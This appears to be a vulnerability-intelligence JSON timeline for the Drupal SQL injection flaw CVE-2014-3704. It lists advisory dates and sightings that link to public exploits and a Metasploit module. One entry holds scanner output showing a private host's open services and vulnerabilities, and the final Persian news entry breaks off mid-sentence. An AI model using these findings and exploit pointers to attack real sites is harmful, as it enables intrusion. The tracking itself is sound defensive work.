{"metadata": {"vulnerability": "CVE-2014-3704", "count": 47, "kinds": {"milestone": 5, "sighting": 23, "kev": 5, "other": 14}}, "data": [{"timestamp": "2014-05-14T00:00:00Z", "date_only": false, "value": "2014-05-14T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2014-3704", "field": "cveMetadata.dateReserved"}, {"timestamp": "2014-10-15T00:00:00Z", "date_only": false, "value": "2014-10-15T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / redhat", "record": "CVE-2014-3704", "field": "containers.cna.datePublic"}, {"timestamp": "2014-10-16T00:00:00Z", "date_only": false, "value": "2014-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://www.exploit-db.com/exploits/34984", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "099b1f1d-a937-48e2-a8af-43f4bb544360", "url": "https://www.exploit-db.com/exploits/34984"}, {"timestamp": "2014-10-16T00:00:00Z", "date_only": false, "value": "2014-10-16T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2014-3704", "field": "cveMetadata.datePublished"}, {"timestamp": "2014-10-16T00:00:00Z", "date_only": false, "value": "2014-10-16T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2014-ALE-008", "record": "CERTFR-2014-ALE-008", "field": "revisions.0.revision_date"}, {"timestamp": "2014-10-16T00:00:00Z", "date_only": false, "value": "2014-10-16T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2014-AVI-434", "record": "CERTFR-2014-AVI-434", "field": "revisions.0.revision_date"}, {"timestamp": "2014-10-16T00:55:00Z", "date_only": false, "value": "2014-10-16T00:55:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-F9CM-C972-9975", "record": "GHSA-F9CM-C972-9975", "field": "database_specific.nvd_published_at"}, {"timestamp": "2014-10-16T00:55:00Z", "date_only": false, "value": "2014-10-16T00:55:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2014-3704", "record": "UBUNTU-CVE-2014-3704", "field": "published"}, {"timestamp": "2014-10-16T00:55:00Z", "date_only": false, "value": "2014-10-16T00:55Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2014-3704", "record": "GSD-2014-3704", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2014-10-16T00:55:06.653Z", "date_only": false, "value": "2014-10-16T00:55:06.653", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2014-3704", "record": "FKIE_CVE-2014-3704", "field": "published"}, {"timestamp": "2014-10-17T00:00:00Z", "date_only": false, "value": "2014-10-17T00:00:00.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://www.exploit-db.com/exploits/34992", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "d0fd5e2b-532f-4127-b76d-37866880e951", "url": "https://www.exploit-db.com/exploits/34992"}, {"timestamp": "2014-10-17T00:00:00Z", "date_only": false, "value": "2014-10-17T00:00:00.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://www.exploit-db.com/exploits/34993", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "968f2465-1a9b-4064-a4a7-20cab39ef4e0", "url": "https://www.exploit-db.com/exploits/34993"}, {"timestamp": "2014-11-03T00:00:00Z", "date_only": false, "value": "2014-11-03T00:00:00.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://www.exploit-db.com/exploits/35150", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "288e4eea-d9b5-45ce-b14e-e824680f1b21", "url": "https://www.exploit-db.com/exploits/35150"}, {"timestamp": "2015-01-30T00:00:00Z", "date_only": false, "value": "2015-01-30T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2014-ALE-008", "record": "CERTFR-2014-ALE-008", "field": "revisions.1.revision_date"}, {"timestamp": "2016-05-12T09:12:03Z", "date_only": false, "value": "2016-05-12T09:12:03.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/57344868-a120-4004-90f6-4c49950d210f", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "42769c8e-b2db-4bed-9447-6d5d640b4e28"}, {"timestamp": "2016-08-23T13:21:17Z", "date_only": false, "value": "2016-08-23T13:21:17.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/57b5892a-bfd8-49f1-8d6b-4a3d950d210f", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "f0a72674-1cad-428c-bf1d-d3ba8d906446"}, {"timestamp": "2018-05-29T15:50:33Z", "date_only": false, "value": "2018-05-29T15:50:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "7f0029b1-b5f9-4a2b-a4dd-a76b4564a2f8", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb"}, {"timestamp": "2018-10-09T18:57:01Z", "date_only": false, "value": "2018-10-09T18:57:01.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / redhat", "record": "CVE-2014-3704", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-09-29T14:08:00Z", "date_only": false, "value": "2021-09-29T14:08Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2014-3704", "record": "GSD-2014-3704", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-13T01:05:42Z", "date_only": false, "value": "2022-05-13T01:05:42Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-F9CM-C972-9975", "record": "GHSA-F9CM-C972-9975", "field": "published"}, {"timestamp": "2022-05-13T01:05:42Z", "date_only": false, "value": "2022-05-13T01:05:42Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-F9CM-C972-9975", "record": "GHSA-F9CM-C972-9975", "field": "modified"}, {"timestamp": "2023-12-13T01:22:52.916Z", "date_only": false, "value": "2023-12-13T01:22:52.916325Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2014-3704", "record": "GSD-2014-3704", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-01-08T12:19:23Z", "date_only": false, "value": "2024-01-08T12:19:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/3548", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "6800ae77-c99a-497b-a595-e5b81ac6ae65", "content": "\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502          \u2502      \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Open ports]\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 ip           \u2503 proto \u2503 port \u2503 service     \u2503 product      \u2503 version                       \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502 tcp   \u2502 21   \u2502 ftp         \u2502 ProFTPD      \u2502 1.3.5                      \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 ssh         \u2502 OpenSSH      \u2502 6.6.1p1 Ubuntu 2ubuntu2.10 \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 http        \u2502 Apache httpd \u2502 2.4.7                      \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 445  \u2502 netbios-ssn \u2502 Samba smbd   \u2502 3.X - 4.X                  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 ipp         \u2502 CUPS         \u2502 1.7                        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Vulnerabilities]\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 ip           \u2503 proto \u2503 port \u2503 vuln_name                                                           \u2503 cve            \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502 tcp   \u2502 0    \u2502 TCP Timestamps Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure)                               \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 21   \u2502 FTP Unencrypted Cleartext Login                                     \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak MAC Algorithm(s) Supported (SSH)                               \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Encryption Algorithm(s) Supported (SSH)                        \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Host Key Algorithm(s) (SSH)                                    \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Key Exchange (KEX) Algorithm(s) Supported (SSH)                \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Test HTTP dangerous methods                                            \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check    \u2502 CVE-2014-3704  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Sensitive File Disclosure (HTTP)                                    \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Unprotected Web App / Device Installers (HTTP)                      \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Cleartext Transmission of Sensitive Information (https://www.kitploit.com/search/label/Sensitive%20Information) via HTTP            \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 jQuery < 1.9.0 XSS Vulnerability                                    \u2502 CVE-2012-6708  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 jQuery < 1.6.3 XSS Vulnerability                                    \u2502 CVE-2011-4969  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal 7.0 Information Disclosure Vulnerability - Active Check      \u2502 CVE-2011-3730  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2016-2183  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2016-6329  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2020-12872 \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          \u2502 CVE-2011-3389  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          \u2502 CVE-2015-0204  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500&   #9472;\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Users]", "url": "https://t.me/ETHICALHACKERSCOMMUNITY2/3548"}, {"timestamp": "2024-08-06T10:50:17.990Z", "date_only": false, "value": "2024-08-06T10:50:17.990Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2014-3704", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-06T10:50:17.990Z", "date_only": false, "value": "2024-08-06T10:50:17.990Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2014-3704", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-02T22:00:05Z", "date_only": false, "value": "2025-02-02T22:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Zz7KT0QW6jx788iRVLTrCBTX3Cn9rhr0SRN7kgKXbioAX_Y", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "8eeec7e6-0d75-47da-8251-fc91fbce420e"}, {"timestamp": "2025-02-06T03:13:41Z", "date_only": false, "value": "2025-02-06T03:13:41.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "b0b82a7b-4002-4ee7-8fab-3f45896195e3"}, {"timestamp": "2025-02-23T04:09:28Z", "date_only": false, "value": "2025-02-23T04:09:28.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "b2e80c35-1673-482c-a8c0-c8ec53baa00a"}, {"timestamp": "2025-07-16T04:50:33Z", "date_only": false, "value": "2025-07-16T04:50:33Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2014-3704", "record": "UBUNTU-CVE-2014-3704", "field": "modified"}, {"timestamp": "2025-12-31T21:00:05Z", "date_only": false, "value": "2025-12-31T21:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WM5aRmLNN8SCWpXVVoY7OnDGEMmwc48OmxYNih_ktG3f9fQ", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "ece9e58d-af3a-407e-8a00-18f36b3c1c46"}, {"timestamp": "2026-06-17T00:08:47.197Z", "date_only": false, "value": "2026-06-17T00:08:47.197", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2014-3704", "record": "FKIE_CVE-2014-3704", "field": "lastModified"}, {"timestamp": "2026-08-22T14:00:19.944Z", "date_only": false, "value": "2026-08-22T14:00:19.944534Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/informationsec/1094", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "3154d690-c533-493c-ad24-fd5de1c16d71", "content": "Drupal SQLi (Drupalgeddon) Attack Trend CVE-2014-3704 / SA-CORE-2014-005\n\n@informationsec", "url": "https://t.me/informationsec/1094"}, {"timestamp": "2026-08-22T14:00:20.150Z", "date_only": false, "value": "2026-08-22T14:00:20.150353Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/informationsec/1093", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "49f29f34-4395-413d-a60d-7ffc74809574", "content": "#\u062e\u0628\u0631\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0642\u062f\u06cc\u0645\u06cc Drupal \u0647\u0646\u0648\u0632 \u0647\u0645 \u0628\u0631\u0627\u06cc \u0646\u0641\u0648\u0630 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f!\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc SQL Injection \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u062d\u062a\u0648\u0627\u06cc \u0645\u062d\u0628\u0648\u0628 Drupal\u060c \u067e\u0633 \u0627\u0632 \u06f1\u06f9 \u0645\u0627\u0647 \u06a9\u0647 \u062a\u0648\u0633\u0637 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 Drupal \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0647\u0646\u0648\u0632 \u0647\u0645 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647\u200c\u06cc \u0639\u0648\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0628\u0631\u0627\u06cc \u0646\u0641\u0648\u0630 \u0628\u0647 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \n@informationsec\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0648\u0631\u062f \u0646\u0638\u0631\u060c \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0647 CVE-\u06f2\u06f0\u06f1\u06f4-\u06f3\u06f7\u06f0\u06f4 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647\u200c\u06cc \u0645\u062d\u0642\u0642\u0627\u0646 \u0628\u0647 \u0646\u0627\u0645 \u00abDrupalgeddon\u00bb \u0646\u0627\u0645\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0647 \u06cc\u06a9 \u0631\u0627\u0628\u0637 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0646\u062a\u0632\u0627\u0639\u06cc \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u06a9\u0647 \u062a\u0648\u0633\u0637 Drupal 7  \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0631\u0628\u0648\u0637 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc SQL \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0627\u062b\u0631 \u0622\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f\u0647\u0627\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647 \u062f\u0631 \u06f1\u06f5 \u0627\u06a9\u062a\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \n\n\u062a\u0646\u0647\u0627 \u062f\u0648 \u0647\u0641\u062a\u0647 \u067e\u0633 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c Drupal \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0647\u0645\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u062f\u0631 \u062e\u0637\u0631 \u062a\u0644\u0642\u06cc \u0634\u0648\u0646\u062f\u060c \u0645\u06af\u0631 \u0627\u06cc\u0646\u06a9\u0647 \u0638\u0631\u0641 \u0647\u0641\u062a \u0633\u0627\u0639\u062a \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647\u200c\u0647\u0627 \u0627\u0639\u0645\u0627\u0644 \u0634\u0648\u0646\u062f. \n \n\u062d\u062a\u06cc \u0627\u0645\u0631\u0648\u0632\u0647 \u0646\u06cc\u0632 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644\u060c \u0646\u0633\u062e\u0647\u200c\u0627\u06cc \u0627\u0632 Drupal \u06a9\u0647 \u062f\u0631 \u0627\u062b\u0631 \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0628\u0648\u062f\u0647 \u0627\u0633\u062a\u060c \u062f\u0631 \u062f\u0631\u06af\u0627\u0647 \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0634\u0631\u06a9\u062a \u062d\u0642\u0648\u0642\u06cc Mossack Fonseca \u0645\u0633\u062a\u0642\u0631 \u062f\u0631 \u067e\u0627\u0646\u0627\u0645\u0627 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u060c \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647\u060c \u062a\u0635\u0627\u0648\u06cc\u0631 \u0648 \u0627\u0633\u0646\u0627\u062f \u0631\u0627 \u0627\u0632 \u0622\u0646 \u0646\u0634\u062a \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc Sucuri  \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f3\u06f7\u06f0\u06f4 \u0631\u0627 \u0646\u0634\u0627\u0646\u0647 \u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f\u060c \u067e\u0631\u062f\u0627\u062e\u062a\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627 \u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a\u060c \u067e\u0633 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0627\u0648\u0644\u06cc\u0647 \u062f\u0631 \u0627\u06a9\u062a\u0628\u0631 \u0648 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4\u060c \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0647\u0632\u0627\u0631\u0627\u0646 \u0648\u0628\u06af\u0627\u0647\u060c \u0645\u0648\u0631\u062f \u062d\u0645\u0644\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u060c \u062a\u0639\u062f\u0627\u062f \u062d\u0645\u0644\u0627\u062a \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u060c \u0627\u0645\u0627 \u062f\u0631 \u0637\u06cc \u0633\u0627\u0644\u0647\u0627\u06cc \u06f2\u06f0\u06f1\u06f5 \u0648 \u06f2\u06f0\u06f1\u06f6 \u0631\u0648\u0646\u062f \u062b\u0627\u0628\u062a\u06cc \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a. \n \n\u0634\u0631\u06a9\u062a Sucuri  \u0633\u0647\u200c\u0634\u0646\u0628\u0647 \u062f\u0631 \u067e\u0633\u062a \u0648\u0628\u0644\u0627\u06af \u062e\u0648\u062f \u06af\u0641\u062a\u0647 \u0627\u0633\u062a: \u00ab\u0627\u06af\u0631 \u06a9\u0633\u06cc \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647\u200c\u0647\u0627 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u060c 